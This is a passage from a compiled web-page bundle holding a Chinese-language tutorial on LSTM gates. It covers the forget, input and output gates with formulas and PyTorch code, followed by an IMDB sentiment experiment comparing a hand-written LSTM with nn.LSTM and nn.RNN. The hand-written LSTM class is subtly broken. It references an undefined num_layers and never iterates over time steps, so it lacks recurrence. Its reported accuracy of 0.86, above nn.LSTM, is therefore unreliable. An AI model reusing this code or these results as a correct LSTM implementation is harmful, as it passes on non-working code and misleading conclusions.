",(0,d.jsx)(e.code,{children:"nn.Sigmode"})," )"]}),"\n",(0,d.jsxs)(e.p,{children:["\u800c\u5728 LSTM \u4e2d\uff0c\u95e8\u4e3b\u8981\u4f7f\u7528 $Sigmod$ \u795e\u7ecf\u7f51\u7edc(",(0,d.jsx)(e.strong,{children:"\u518d\u6b21\u6ce8\u610f\uff0c\u5e76\u975e\u662f\u6fc0\u6d3b\u51fd\u6570\uff0c\u800c\u662f Sigmod \u795e\u7ecf\u7f51\u7edc"}),")\u6765\u5b8c\u6210\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u65b9\u662f\u4e00\u4e2a\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"hidden_size = 5\nsigmoid = nn.Sigmoid()\n# \u9690\u85cf\u72b6\u6001 \u4e3a\u4e86\u65b9\u4fbf\u8ba1\u7b97\uff0c\u5047\u5b9a\u5168 1\nhidden_emb = torch.ones(hidden_size, hidden_size)\n# \u4e2d\u95f4\u67d0\u4e00\u5c42\u795e\u7ecf\u7f51\u7edc\nmodel = nn.Linear(hidden_size\uff0chidden_size)\n# \u83b7\u53d6\u8be5\u5c42\u8f93\u51fa,\u6b64\u65f6\u5c1a\u672a\u88ab\u95e8\u9650\u5236\nmid_out = model(hidden_emb)\n# \u83b7\u53d6\u4e00\u4e2a\u95e8 -- \u6ce8\u610f\uff1a\u5e76\u975e\u4e00\u5b9a\u7531\u8be5\u53d8\u91cf\u6240\u63a7\u5236\n# \u6bd4\u5982\uff1a\u4e5f\u53ef\u4ee5\u7531\u4e0a\u4e00\u65f6\u523b\u7684\u9690\u85cf\u72b6\u6001\u63a7\u5236\n# \u4ee3\u7801\u4e3a\uff1a gate = sigmoid(hidden_emb)\ngate = sigmoid(mid_out) \n# \u5f97\u5230\u6700\u7ec8\u8f93\u51fa\nfinal_out = gate * mid_out\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5728\u6709\u4e86\u5bf9\u95e8\u7684\u57fa\u7840\u77e5\u8bc6\u540e\uff0c\u63a5\u4e0b\u6765\u5bf9\u9057\u5fd8\u95e8\u3001\u8bb0\u5fc6\u95e8\u3001\u8f93\u51fa\u95e8\u8fdb\u884c\u5206\u522b\u5206\u6790\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u9057\u5fd8\u95e8",children:"\u9057\u5fd8\u95e8"}),"\n",(0,d.jsxs)(e.p,{children:["\u9057\u5fd8\u95e8\u6d89\u53ca\u90e8\u5206\u5982\u4e0b\u56fe\u6240\u793a\uff1a\n",(0,d.jsx)(e.img,{alt:"LSTM-\u9057\u5fd8\u95e8",src:s(47272).A+"",width:"1535",height:"669"})]}),"\n",(0,d.jsxs)(e.p,{children:["\u5176\u4e2d\uff0c\u4e0b\u65b9\u84dd\u8272\u8868\u793a\u4e09\u4e2a\u95e8\u5171\u7528\u7684\u8f93\u5165\u90e8\u5206\uff0c\u5747\u4e3a [$\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1}$,$\\mathbf{X}"}),"{t}$],\u9700\u8981\u6ce8\u610f\uff0c\u8fd9\u91cc\u7531\u4e8e\u4e09\u4e2a\u95e8\u4e4b\u95f4\u5e76\u4e0d\u5171\u4eab\u6743\u91cd\u53c2\u6570\uff0c\u56e0\u6b64\u516c\u793a\u867d\u7136\u63a5\u8fd1\uff0c\u4f46\u662f\u4e00\u5171\u8ba1\u7b97\u4e86\u4e09\u6b21\uff0c\u9057\u5fd8\u95e8\u88ab\u6807\u8bb0\u4e3a $f_t$, \u5217\u51fa\u9057\u5fd8\u95e8\u516c\u5f0f\u4e3a\uff1a\n$$\nf_t = \\sigma(\\mathbf{W_f} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_f})\n$$\n\u8f93\u51fa\u7ed3\u679c\u4e3a\u53d6\u503c\u8303\u56f4\u4e3a [ 0, 1 ] \u7684\u77e9\u9635\uff0c\u4e3b\u8981\u529f\u80fd\u662f\u63a7\u5236\u4e0e\u4e4b\u76f8\u4e58\u7684\u77e9\u9635\u7684",(0,d.jsx)(e.strong,{children:"\u9057\u5fd8\u7a0b\u5ea6"}),"\u3002\n\u5c06 $f_t$ \u4e0e\u8f93\u5165\u7684\u4e0a\u4e00\u957f\u671f\u72b6\u6001 $C_{t-1}$ \u76f8\u4e58\uff1a\n$$\nC_t' = f_t * C_{t-1}\n$$"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e00\u90e8\u5206\u7684 $C_{t-1}$ \u5c31\u8fd9\u6837\u88ab\u9057\u5fd8\u4e86\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u8bb0\u5fc6\u95e8",children:"\u8bb0\u5fc6\u95e8"}),"\n",(0,d.jsxs)(e.p,{children:["\u8bb0\u5fc6\u95e8\u6d89\u53ca\u90e8\u5206\u5982\u4e0b\u6240\u793a\uff1a\n",(0,d.jsx)(e.img,{alt:"LSTM\u8bb0\u5fc6\u95e8",src:s(82543).A+"",width:"1535",height:"669"})]}),"\n",(0,d.jsxs)(e.p,{children:["\u4ece\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c\u8bb0\u5fc6\u95e8\u4e2d\u76f8\u4e58\u7684\u4e24\u4e2a\u90e8\u5206\u5747\u7531 $\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1}$ \u4e0e $\\mathbf{X}"}),"{t}$ \u5f97\u5230\uff0c\n\u5176\u4e2d\uff0c\u5de6\u4fa7\u63a7\u5236\u8bb0\u5fc6\u591a\u5c11\u7684\u90e8\u5206\uff0c\u4e0e\u9057\u5fd8\u95e8\u516c\u5f0f\u57fa\u672c\u4e00\u81f4\uff1a\n$$\ni_t = \\sigma(\\mathbf{W_i} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_i})\n$$\n\u4e0e\u9057\u5fd8\u95e8\u76f8\u901a\uff0c\u8f93\u51fa\u7ed3\u679c\u4e3a\u53d6\u503c\u8303\u56f4\u4e3a [ 0, 1 ] \u7684\u77e9\u9635\uff0c\u4e3b\u8981\u529f\u80fd\u662f\u63a7\u5236\u4e0e\u4e4b\u76f8\u4e58\u7684\u77e9\u9635\u7684",(0,d.jsx)(e.strong,{children:"\u8bb0\u5fc6\u7a0b\u5ea6"}),"\u3002\n\u800c\u53f3\u4fa7\uff0c\u5219\u66f4\u6362\u4e86\u6fc0\u6d3b\u51fd\u6570\uff0c\u7531 $sigmoid$ \u53d8\u6210\u4e86 $tanh$\uff1a\n$$\n\\tilde{C_t} = \\tanh(\\mathbf{W_c} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_c})\n$$\n\u8be5\u516c\u5f0f\u8d1f\u8d23\u7684\u90e8\u5206\u53ef\u4ee5\u770b\u505a\u8d1f\u8d23",(0,d.jsx)(e.strong,{children:"\u77ed\u671f\u9690\u85cf\u72b6\u6001"}),"\u7684\u66f4\u65b0\uff0c\u53d6\u503c\u8303\u56f4\u4e3a [ -1, 1 ]\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6700\u7ec8\u8bb0\u5fc6\u95e8\u66f4\u65b0\u516c\u5f0f\u5982\u4e0b:\n$$\n\\tilde{C_t'}= i_t * \\tilde{C_t}\n$$"}),"\n",(0,d.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u8bf4 $\\tilde{C_t'}$ \u662f\u4fdd\u7559\u4e86\u4e00\u5b9a\u5185\u5bb9\u7684\u77ed\u671f\u72b6\u6001"}),"\n",(0,d.jsx)(e.h2,{id:"\u72b6\u6001\u66f4\u65b0",children:"\u72b6\u6001\u66f4\u65b0"}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"LSTM-\u72b6\u6001\u66f4\u65b0",src:s(43277).A+"",width:"1535",height:"669"})}),"\n",(0,d.jsx)(e.p,{children:"\u5728\u901a\u8fc7\u9057\u5fd8\u95e8\u83b7\u53d6\u5230\u4e86\u88ab\u9057\u5fd8\u4e00\u5b9a\u5185\u5bb9\u7684\u957f\u671f\u72b6\u6001 $C_t'$ \u548c \u4fdd\u7559\u4e86\u4e00\u5b9a\u5185\u5bb9\u7684\u77ed\u671f\u72b6\u6001 $\\tilde{C_t'}$ \u4e4b\u540e\uff0c\u53ef\u4ee5\u901a\u8fc7\u52a0\u6cd5\u76f4\u63a5\u7ed3\u5408"}),"\n",(0,d.jsx)(e.p,{children:"$$\nC_t = C_t' + \\tilde{C_t'}\n$$"}),"\n",(0,d.jsx)(e.h2,{id:"\u8f93\u51fa\u95e8",children:"\u8f93\u51fa\u95e8"}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"LSTM\u8f93\u51fa\u95e8",src:s(20061).A+"",width:"1535",height:"669"})}),"\n",(0,d.jsxs)(e.p,{children:["\u8f93\u51fa\u95e8\u662f\u4e09\u4e2a\u95e8\u4e2d\u6700\u540e\u4e00\u4e2a\u95e8\uff0c\u5f53\u6570\u636e\u5230\u8fbe\u8fd9\u91cc\u7684\u65f6\u5019\uff0c\u6211\u4eec\u4e3b\u8981\u63a7\u5236\u5c06\u957f\u671f\u72b6\u6001\u4e2d\u7684\u5185\u5bb9 $C_t$ \u4fdd\u5b58\u4e00\u5b9a\u5185\u5bb9\u5230 $h_t$ \u4e2d\uff0c\u8fd9\u91cc\u4e0d\u518d\u8d58\u8ff0\n$$\no_t = \\sigma(\\mathbf{W_o} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_o})\n$$"]}),"\n",(0,d.jsx)(e.p,{children:"$$\nh_t = o_t * \\tanh(C_t)\n$$"}),"\n",(0,d.jsx)(e.h2,{id:"\u6a21\u578b\u603b\u7ed3",children:"\u6a21\u578b\u603b\u7ed3"}),"\n",(0,d.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u6240\u6709\u516c\u5f0f\u7684\u6838\u5fc3\u90e8\u5206\u90fd\u662f\u5982\u6b64\u7684\u76f8\u4f3c\uff1a\n$$\n\\mathbf{W_c} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_c}\n$$\n\u800c\u8fd9\u90e8\u5206\u5176\u5b9e\u53c8\u53ea\u662f\u7b80\u5355\u7684\u7ebf\u6027\u51fd\u6570\uff0c\u6240\u4ee5 LSTM \u6bd4 RNN \u9ad8\u7ea7\u7684\u5730\u65b9\u5176\u5b9e\u5e76\u4e0d\u5728\u4e8e\u67d0\u4e00\u6761\u516c\u5f0f\uff0c\u800c\u662f\u5b83\u8c03\u6574\u4e86\u6570\u636e\u4e4b\u95f4\u7684\u6d41\u52a8\uff0c\u6309\u7167\u4e00\u5b9a\u7684\u6bd4\u4f8b\u8fdb\u884c\u878d\u5408\uff0c\u5f31\u5316\u4e86\u957f\u8ddd\u79bb\u4e0b\u7684\u68af\u5ea6\u6d88\u5931\u95ee\u9898\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6700\u540e\u603b\u7684\u6765\u770b\uff0cLSTM \u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u5347\u7ea7\u7248\u672c\u7684\u7684 RNN\uff0c\u4ed6\u989d\u5916\u521d\u59cb\u5316\u4e86\u4e00\u4e2a\u72b6\u6001 $C$\uff0c \u7528\u6765\u4fdd\u5b58\u957f\u671f\u7684\u8bb0\u5fc6\uff0c\u63a7\u5236\u8fdc\u8ddd\u79bb\u4e0a\u7684\u53c2\u6570\u6743\u91cd\u3002\u800c\u8f93\u51fa\u4e5f\u57fa\u672c\u7c7b\u4f3c\u4e8e\u6b64\u3002"}),"\n",(0,d.jsx)(e.h1,{id:"lstm-\u5b9e\u6218",children:"LSTM \u5b9e\u6218"}),"\n",(0,d.jsx)(e.h2,{id:"\u5b9e\u9a8c\u8bf4\u660e",children:"\u5b9e\u9a8c\u8bf4\u660e"}),"\n",(0,d.jsxs)(e.p,{children:["\u5b8c\u6574\u4ee3\u7801\u5b9e\u73b0\u53ef\u4ee5\u70b9\u51fb",(0,d.jsx)(e.a,{href:"../../notebook/%E7%AC%AC%E5%8D%81%E7%AB%A0%20%E5%B8%B8%E8%A7%81%E7%BD%91%E7%BB%9C%E4%BB%A3%E7%A0%81%E7%9A%84%E8%A7%A3%E8%AF%BB/LSTM%E5%AE%9E%E6%88%98.ipynb",children:"\u8fd9\u91cc"}),"\u4e0b\u8f7d\u3002\u5728\u5b8c\u6574\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u5171\u8ba1\u4f7f\u7528\u4e86\u4e09\u4e2a\u6a21\u578b\u5e76\u5bf9\u6bd4\u4e86\u4ed6\u4eec\u7684\u6548\u679c\uff0c\u4e09\u4e2a\u6a21\u578b\u5206\u522b\u662f\uff1a\u7531\u6211\u5b8c\u5168\u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"nn.Linear"})," \u5b9e\u73b0\u7684 LSTM \u6a21\u578b\u3001 \u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u4e3a\u57fa\u7840\u7684 LSTM \u6a21\u578b\u548c\u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"nn.RNN"})," \u4e3a\u57fa\u7840\u5b9e\u73b0\u7684 RNN \u6a21\u578b\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u5b9e\u9a8c\u6570\u636e\u96c6\u91c7\u7528 ",(0,d.jsx)(e.a,{href:"http://ai.stanford.edu/~amaas/data/sentiment/",children:"IMDB \u6570\u636e\u96c6"}),"\u3002\u4e3b\u8981\u7531\u7535\u5f71\u8bc4\u8bba\u6784\u6210\uff0c\u957f\u5ea6\u4e0d\u5747\uff0c",(0,d.jsx)(e.strong,{children:"\u4f46\u662f\u957f\u5ea6\u5728 1000 \u5de6\u53f3\u7684\u6570\u636e\u5c5e\u4e8e\u5e38\u89c1\u6570\u636e"}),"\u3002\u6570\u636e\u96c6\u6837\u672c\u5747\u8861\uff0c\u6570\u5171\u8ba1 50000 \u4e2a\u6837\u672c\uff0c\u8bad\u7ec3\u548c\u6d4b\u8bd5\u5404\u6709 25000 \u4e2a\u6837\u672c\uff0c\u540c\u65f6\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684\u6b63\u8d1f\u6bd4\u4f8b\u5747\u4e3a 1:1\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6839\u636e\u6211\u4eec\u5bf9 RNN \u7684\u4e86\u89e3\uff0c\u8fd9\u6837\u7684\u957f\u5ea6\u662f\u5f88\u96be\u5b66\u4e60\u5230\u6709\u6548\u7684\u77e5\u8bc6\u7684\uff0c\u6240\u4ee5\u5f88\u9002\u5408\u6bd4\u8f83 RNN \u4e0e LSTM \u4e4b\u95f4\u7684\u533a\u522b\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["\u4e3a\u4e86\u65b9\u4fbf\u4ee3\u7801\u590d\u73b0\uff0c\u5728\u5b9e\u73b0\u4e2d\u501f\u52a9\u4e86 ",(0,d.jsx)(e.code,{children:"torchtext"})," \u6765\u5b8c\u6210\u6570\u636e\u4e0b\u8f7d\u53ca\u52a0\u8f7d\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e3a\u4e86\u8bc1\u660e\u6a21\u578b\u771f\u7684\u6709\u5b66\u4e60\u5230\u4e00\u5b9a\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u5bf9\u6bd4\u5b9e\u9a8c\u4e2d\u90e8\u5206\u53c2\u6570\u53ef\u80fd\u5b58\u5728\u90e8\u5206\u533a\u522b\uff0c\u53ef\u4ee5\u5728\u672c\u5730\u8c03\u6574\u5230\u540c\u4e00\u53c2\u6570\u8fdb\u884c\u7ec6\u81f4\u7684\u5bf9\u6bd4\u5b9e\u9a8c\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u6a21\u578b\u5b9e\u73b0",children:"\u6a21\u578b\u5b9e\u73b0"}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u5206\u6790\u4e00\u4e0b\u7531\u6211\u5b9e\u73b0\u7684 LSTM \u6a21\u578b\uff0c\u5e76\u4ee5\u6b64\u4e86\u89e3 LSTM \u6a21\u578b\u3002(ps:\u4e2a\u4eba\u80fd\u529b\u6709\u9650,\u6ca1\u80fd\u5b9e\u73b0 ",(0,d.jsx)(e.code,{children:"num_layers"})," \u548c ",(0,d.jsx)(e.code,{children:"Bi-LSTM"})," \u4e24\u4e2a\u7279\u70b9\uff0c\u6b64\u5916\u53ef\u80fd\u5b9e\u73b0\u5b58\u5728\u5176\u4ed6\u95ee\u9898\uff0c\u6b22\u8fce\u7ed9\u4e88\u53cd\u9988)"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:'# \u5b9a\u4e49\u57fa\u7840\u6a21\u578b\nclass LSTM(nn.Module):\n def __init__(self, input_size, hidden_size, num_classes):\n """\n args:\n input_size: \u8f93\u5165\u5927\u5c0f\n hidden_size: \u9690\u85cf\u5c42\u5927\u5c0f\n num_classes: \u6700\u540e\u8f93\u51fa\u7684\u7c7b\u522b\uff0c\u5728\u8fd9\u4e2a\u793a\u4f8b\u4e2d\uff0c\u8f93\u51fa\u5e94\u8be5\u662f 0 \u6216\u8005 1\n """\n super(LSTM, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.fc_i = nn.Linear(input_size + hidden_size, hidden_size)\n self.fc_f = nn.Linear(input_size + hidden_size, hidden_size)\n self.fc_g = nn.Linear(input_size + hidden_size, hidden_size)\n self.fc_o = nn.Linear(input_size + hidden_size, hidden_size)\n self.sigmoid = nn.Sigmoid()\n self.tanh = nn.Tanh()\n self.fc_out = nn.Linear(hidden_size, num_classes)\n def forward(self, x):\n # \u521d\u59cb\u5316\u9690\u85cf\u72b6\u6001 -- \u77ed\u671f\u8bb0\u5fc6\n h_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)\n # \u521d\u59cb\u5316\u9690\u85cf\u72b6\u6001 -- \u957f\u671f\u8bb0\u5fc6\n c_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)\n # \u8f93\u5165\u4e0e\u77ed\u671f\u8bb0\u5fc6\u76f8\u62fc\u63a5\n combined = torch.cat((x, h_t), dim=2)\n # \u8bb0\u5fc6\u95e8 -- \u8f93\u51fa\u77e9\u9635\u5185\u5bb9\u4e3a 0-1 \u4e4b\u95f4\u7684\u6570\u5b57\n i_t = self.sigmoid(self.fc_i(combined))\n # \u9057\u5fd8\u95e8 -- \u8f93\u51fa\u77e9\u9635\u5185\u5bb9\u4e3a 0-1 \u4e4b\u95f4\u7684\u6570\u5b57\n f_t = self.sigmoid(self.fc_f(combined))\n #\n g_t = self.tanh(self.fc_g(combined))\n # \u8f93\u51fa\u95e8 -- \u8f93\u51fa\u77e9\u9635\u5185\u5bb9\u4e3a 0-1 \u4e4b\u95f4\u7684\u6570\u5b57\n o_t = self.sigmoid(self.fc_o(combined))\n # \u957f\u671f\u72b6\u6001 = \u9057\u5fd8\u95e8 * \u4e0a\u4e00\u65f6\u523b\u7684\u957f\u671f\u72b6\u6001 + \u8bb0\u5fc6\u95e8* \u5f53\u524d\u8bb0\u5fc6\u72b6\u6001\n c_t = f_t * c_t + i_t * g_t\n # \u9690\u85cf\u72b6\u6001 = \u8f93\u51fa\u95e8 * \u957f\u671f\u72b6\u6001\n h_t = o_t * self.tanh(c_t)\n # \u964d\u7ef4\u64cd\u4f5c \n h_t = F.avg_pool2d(h_t, (h_t.shape[1],1)).squeeze()\n # \n out = self.fc_out(h_t)\n return out \n'})}),"\n",(0,d.jsx)(e.h2,{id:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e",children:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e"}),"\n",(0,d.jsx)(e.h3,{id:"mylstm-\u4e0e-nnlstm",children:"MyLSTM \u4e0e nn.LSTM"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{children:"\u540d\u79f0"}),(0,d.jsx)(e.th,{children:"\u503c"})]})}),(0,d.jsxs)(e.tbody,{children:[(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"learning_rate"}),(0,d.jsx)(e.td,{children:"0.001"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"batch_size"}),(0,d.jsx)(e.td,{children:"32"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"epoch"}),(0,d.jsx)(e.td,{children:"6(3)"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"input_size"}),(0,d.jsx)(e.td,{children:"64"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"hidden_size"}),(0,d.jsx)(e.td,{children:"128"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"num_classes"}),(0,d.jsx)(e.td,{children:"2"})]})]})]}),"\n",(0,d.jsx)(e.p,{children:"\u6b64\u65f6\uff1a\nMyLSTM \u53c2\u6570\u91cf: 99074\nnn.LSTM \u53c2\u6570\u91cf: 99328"}),"\n",(0,d.jsxs)(e.p,{children:["\u7531\u4e8e\u6211\u5b9e\u73b0\u7684 MyLSTM \u4e0e nn.LSTM \u6709 254 \u7684\u53c2\u6570\u5dee\uff0c\u6211\u672c\u4eba\u5e76\u6ca1\u80fd\u5206\u6790\u51fa\u6765\u5dee\u522b\u3002 ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u5728\u5b9e\u9a8c\u65f6\u5927\u6982\u7387\u6bd4\u6211\u7684 MyLSTM \u8fed\u4ee3\u66f4\u5feb\uff0c\u6240\u4ee5\u5bb9\u6613\u8f83\u65e9\u7684\u8fc7\u62df\u5408\uff0c\u6240\u4ee5\u5c06\u5176\u8bad\u7ec3 epoch \u780d\u534a\uff0c\u4e5f\u5c31\u662f\u8bf4 MyLSTM \u4f7f\u7528 6 epoch \u8fdb\u884c\u8bad\u7ec3\uff0c\u800c ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u4f7f\u7528 3 epoch \u8fdb\u884c\u8bad\u7ec3\u3002\u4e24\u8005\u53ef\u4ee5\u8fbe\u5230\u57fa\u672c\u76f8\u8fd1\u7684\u6548\u679c"]}),"\n",(0,d.jsxs)(e.p,{children:["\u53e6\u5916\u5728\u4ee3\u7801\u5b9e\u73b0\u4e2d ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u540e\u9762\u52a0\u4e86\u4e00\u4e2a ",(0,d.jsx)(e.code,{children:"nn.Linear"})," \u6765\u5b9e\u73b0\u4e8c\u5206\u7c7b\uff0c\u53c2\u6570\u91cf\u4e3a 258\uff0c \u6240\u4ee5 MyLSTM \u548c LSTM \u76f8\u5dee\u53c2\u6570\u603b\u91cf\u4e3a 512\u3002"]}),"\n",(0,d.jsx)(e.h3,{id:"nnrnn",children:"nn.RNN"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{children:"\u540d\u79f0"}),(0,d.jsx)(e.th,{children:"\u503c"})]})}),(0,d.jsxs)(e.tbody,{children:[(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"learning_rate"}),(0,d.jsx)(e.td,{children:(0,d.jsx)(e.strong,{children:"0.0001"})})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"batch_size"}),(0,d.jsx)(e.td,{children:"32"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"epoch"}),(0,d.jsx)(e.td,{children:(0,d.jsx)(e.strong,{children:"12-18"})})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"input_size"}),(0,d.jsx)(e.td,{children:"64"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"hidden_size"}),(0,d.jsx)(e.td,{children:"128"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"num_classes"}),(0,d.jsx)(e.td,{children:"2"})]})]})]}),"\n",(0,d.jsx)(e.p,{children:"\u6b64\u65f6\uff1a\nnn.RNN \u53c2\u6570\u91cf: 25090"}),"\n",(0,d.jsx)(e.p,{children:"\u7531\u4e8e\u5b9e\u9a8c\u6837\u672c\u957f\u5ea6\u5728 1000 \u4e0a\u4e0b\uff0c RNN \u663e\u793a\u51fa\u6765\u4e86\u6781\u5927\u7684\u4e0d\u7a33\u5b9a\u6027\uff0c\u5176\u4e2d\uff0c \u76f8\u8f83\u4e8e LSTM \u66f4\u5bb9\u6613\u68af\u5ea6\u7206\u70b8\u3001\u8bad\u7ec3 epoch \u66f4\u591a\u3001\u5b66\u4e60\u7387\u9700\u8981\u8c03\u4f4e\u7b49\u7b49\u95ee\u9898\uff0c\u5c3d\u7ba1\u5982\u6b64\u4f9d\u7136\u4e0d\u80fd\u4fdd\u8bc1\u7a33\u5b9a\u7684\u826f\u597d\u7ed3\u679c\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u4e3e\u4f8b\u6765\u8bf4\uff0c\u67d0\u5b66\u751f\u5b66\u4e60\u9605\u8bfb\u7406\u89e3\uff0c\u8981\u6c42\u6839\u636e\u6587\u7ae0\u5185\u5bb9\u56de\u7b54\u6587\u7ae0\u7684\u60c5\u611f\u503e\u5411\uff0c\u4f46\u662f\u5b66\u751f\u53ea\u559c\u6b22\u770b\u6700\u540e\u4e00\u53e5\u8bdd\uff0c\u6bcf\u6b21\u90fd\u6839\u636e\u6700\u540e\u4e00\u53e5\u8bdd\u6765\u56de\u7b54\u95ee\u9898\uff0c\u90a3\u4e48\u4ed6\u57fa\u672c\u4e0a\u662f\u7b49\u4e8e\u778e\u731c\u7684\uff0c\u53ea\u80fd\u5b66\u5230\u4e00\u70b9\u6d45\u8584\u7684\u77e5\u8bc6\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u5b9e\u9a8c\u7ed3\u679c",children:"\u5b9e\u9a8c\u7ed3\u679c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{children:"MyLSTM"}),(0,d.jsx)(e.th,{children:"nn.LSTM"}),(0,d.jsx)(e.th,{children:"nn.RNN"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"0.86"}),(0,d.jsx)(e.td,{children:"0.80"}),(0,d.jsx)(e.td,{children:"0.67"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"\u5173\u4e8e\u68af\u5ea6\u95ee\u9898",children:"\u5173\u4e8e\u68af\u5ea6\u95ee\u9898"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["RNN\u95ee\u9898\u4e2d\uff0c",(0,d.jsx)(e.strong,{children:"\u603b\u7684\u68af\u5ea6\u662f\u4e0d\u4f1a\u6d88\u5931\u7684"}),"\u3002\u5373\u4fbf\u68af\u5ea6\u8d8a\u4f20\u8d8a\u5f31\uff0c\u90a3\u4e5f\u662f\u8fdc\u5904\u7684\u68af\u5ea6\u9010\u6e10\u6d88\u5931\uff0c\u800c\u8fd1\u8ddd\u79bb\u7684\u68af\u5ea6\u4e0d\u4f1a\u6d88\u5931\uff0c\u56e0\u6b64\uff0c\u68af\u5ea6\u603b\u548c\u4e0d\u4f1a\u6d88\u5931\u3002RNN \u68af\u5ea6\u6d88\u5931\u7684\u771f\u6b63\u542b\u4e49\u662f\uff1a\u68af\u5ea6\u88ab\u8fd1\u8ddd\u79bb\u68af\u5ea6\u6240\u4e3b\u5bfc\uff0c\u5bfc\u81f4\u6a21\u578b\u96be\u4ee5\u5b66\u5230\u8fdc\u8ddd\u79bb\u7684\u4f9d\u8d56\u5173\u7cfb\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["LSTM \u4e0a\u6709\u591a\u6761\u4fe1\u606f\u6d41\u8def\u5f84\uff0c\u5176\u4e2d\uff0c",(0,d.jsx)(e.strong,{children:"\u5143\u7d20\u76f8\u52a0\u7684\u8def\u5f84\u7684\u68af\u5ea6\u6d41\u662f\u6700\u7a33\u5b9a\u7684"}),"\uff0c\u800c\u5176\u4ed6\u8def\u5f84\u4e0a\u4e0e\u57fa\u672c\u7684 RNN \u76f8\u7c7b\u4f3c\uff0c\u4f9d\u7136\u5b58\u5728\u53cd\u590d\u76f8\u4e58\u95ee\u9898\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["LSTM 